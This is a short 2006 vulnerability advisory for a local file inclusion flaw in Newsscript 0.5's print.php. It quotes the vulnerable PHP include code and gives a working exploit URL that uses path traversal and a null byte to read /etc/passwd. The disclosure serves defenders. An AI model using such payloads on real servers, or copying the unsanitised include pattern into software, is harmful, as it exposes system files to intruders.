Newsscript version 0.5 (print.php) Local File Inclusion Vulnerability

2006.09.19

Credit: Daftrix

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-4766

CWE: CWE-Other

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Subject:
--- "Newsscript version 0.5 (print.php) Local File Inclusion Vulnerability "
# Vulnerable version:
--- "Newsscript version 0.5"
# Vendor URL:
--- Emaill - mail (at) webmaster-journal (dot) com [email concealed]
--- Website - http://webmaster-journal.com
# Available in:
---http://www.comscripts.com/scripts/php.wm-news.203.html
# Vulnerability:
--- Vulnerable code in print/print.php
--- $ide var is not sanitized and can be used to include files from local resources
--- 1 <html>
--- 2 <head>
--- 3 <?
--- 4 $file_name = "../".$ide.".txt";
--- 5 ?>
---
---
--- 27 include($file_name);
# Exploit:
--- http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00
# Discovered By:
--- Daftrix[at]Gmail.com
--- Daftrix Security Investigations
--- http://www.daftrix.com

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